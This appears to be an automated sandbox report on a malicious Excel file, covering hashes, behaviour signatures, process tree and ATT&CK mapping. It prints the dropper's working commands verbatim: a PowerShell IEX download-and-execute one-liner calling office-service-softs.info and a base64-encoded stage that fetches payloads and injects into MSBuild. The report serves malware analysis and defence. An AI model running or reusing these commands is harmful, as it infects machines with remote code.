20d2812e1d4302fb94424d6bc2b31be5d809423002dc941cbb9a7978f7564383

Analysis

max time kernel
69s
max time network
60s
platform
windows7_x64
resource
win7
submitted
14-07-2020 14:08

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General

Target

Potwierdzenie transakcji (2).xls
Size

858KB
MD5

30c8f5db70e799b8550642bf5bd99a93
SHA1

4d5fe9d504a3da3be9b558245d1612a550721ab7
SHA256

20d2812e1d4302fb94424d6bc2b31be5d809423002dc941cbb9a7978f7564383
SHA512

1b020804f18408e02b61bb7e4a6b1d1dc45b2c5ce8390fd6b49d549c0daa99788cafa3555264aafcaeeede419a2bc220c0e701fe3776b4f0014c09888b065cba

Score

10^/10

evasion spyware trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://office-service-softs.info/tech.jpg

Signatures

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
1112	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe
1060	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1032	EXCEL.EXE
1032	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1032	EXCEL.EXE
1032	EXCEL.EXE
1032	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1112	1032	powershell.exe	23

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 1112	1032	EXCEL.EXE	24
PID 1032 wrote to memory of 1112	1032	EXCEL.EXE	24
PID 1032 wrote to memory of 1112	1032	EXCEL.EXE	24
PID 1112 wrote to memory of 1060	1112	powershell.exe	27
PID 1112 wrote to memory of 1060	1112	powershell.exe	27
PID 1112 wrote to memory of 1060	1112	powershell.exe	27
PID 1060 wrote to memory of 1220	1060	powershell.exe	28
PID 1060 wrote to memory of 1220	1060	powershell.exe	28
PID 1060 wrote to memory of 1220	1060	powershell.exe	28
PID 1060 wrote to memory of 1220	1060	powershell.exe	28
PID 1060 wrote to memory of 1816	1060	powershell.exe	29
PID 1060 wrote to memory of 1816	1060	powershell.exe	29
PID 1060 wrote to memory of 1816	1060	powershell.exe	29
PID 1060 wrote to memory of 1816	1060	powershell.exe	29
PID 1060 wrote to memory of 1792	1060	powershell.exe	30
PID 1060 wrote to memory of 1792	1060	powershell.exe	30
PID 1060 wrote to memory of 1792	1060	powershell.exe	30
PID 1060 wrote to memory of 1792	1060	powershell.exe	30
PID 1060 wrote to memory of 1800	1060	powershell.exe	31
PID 1060 wrote to memory of 1800	1060	powershell.exe	31
PID 1060 wrote to memory of 1800	1060	powershell.exe	31
PID 1060 wrote to memory of 1800	1060	powershell.exe	31
PID 1060 wrote to memory of 1784	1060	powershell.exe	32
PID 1060 wrote to memory of 1784	1060	powershell.exe	32
PID 1060 wrote to memory of 1784	1060	powershell.exe	32
PID 1060 wrote to memory of 1784	1060	powershell.exe	32
PID 1060 wrote to memory of 1764	1060	powershell.exe	33
PID 1060 wrote to memory of 1764	1060	powershell.exe	33
PID 1060 wrote to memory of 1764	1060	powershell.exe	33
PID 1060 wrote to memory of 1764	1060	powershell.exe	33
PID 1060 wrote to memory of 1728	1060	powershell.exe	34
PID 1060 wrote to memory of 1728	1060	powershell.exe	34
PID 1060 wrote to memory of 1728	1060	powershell.exe	34
PID 1060 wrote to memory of 1728	1060	powershell.exe	34
PID 1060 wrote to memory of 1656	1060	powershell.exe	35
PID 1060 wrote to memory of 1656	1060	powershell.exe	35
PID 1060 wrote to memory of 1656	1060	powershell.exe	35
PID 1060 wrote to memory of 1656	1060	powershell.exe	35
PID 1060 wrote to memory of 1644	1060	powershell.exe	36
PID 1060 wrote to memory of 1644	1060	powershell.exe	36
PID 1060 wrote to memory of 1644	1060	powershell.exe	36
PID 1060 wrote to memory of 1644	1060	powershell.exe	36
PID 1060 wrote to memory of 1592	1060	powershell.exe	37
PID 1060 wrote to memory of 1592	1060	powershell.exe	37
PID 1060 wrote to memory of 1592	1060	powershell.exe	37
PID 1060 wrote to memory of 1592	1060	powershell.exe	37
PID 1060 wrote to memory of 1604	1060	powershell.exe	38
PID 1060 wrote to memory of 1604	1060	powershell.exe	38
PID 1060 wrote to memory of 1604	1060	powershell.exe	38
PID 1060 wrote to memory of 1604	1060	powershell.exe	38
PID 1060 wrote to memory of 1588	1060	powershell.exe	39
PID 1060 wrote to memory of 1588	1060	powershell.exe	39
PID 1060 wrote to memory of 1588	1060	powershell.exe	39
PID 1060 wrote to memory of 1588	1060	powershell.exe	39

Blacklisted process makes network request 3 IoCs

flow	pid	Process
4	1112	powershell.exe
6	1060	powershell.exe
7	1060	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1032	EXCEL.EXE

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji (2).xls"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
PID:1032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://office-service-softs.info/tech.jpg')
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Blacklisted process makes network request
  PID:1112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABYAHcAIAA9ACAAJwBNAHUAZwBwAGoAcwBjAFcAQgAnADsACgAkAFAAcwBiAGIAWQBWAGwAYgBrACAAPQAgACgAJwB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAnAC0AZgAnAGQAUwB0ACcALAAnAHIAaQBuACcALAAcIGAARABgAG8AYAB3AG4AYABsAGAAbwBhAB0gLAAnAGcAJwApADsAWwB2AG8AaQBkAF0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAJwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAnACkAOwAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAagA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AcgBuAHAALgB0AHgAdAAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAFAAcwBiAGIAWQBWAGwAYgBrACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AbQBhAGkAbgAxAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAQAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2ACkA
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - Blacklisted process makes network request
    - Modifies system certificate store
    PID:1060
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1220
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1816
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1792
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1800
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1784
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1764
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1728
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1656
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1644
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1592
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1604
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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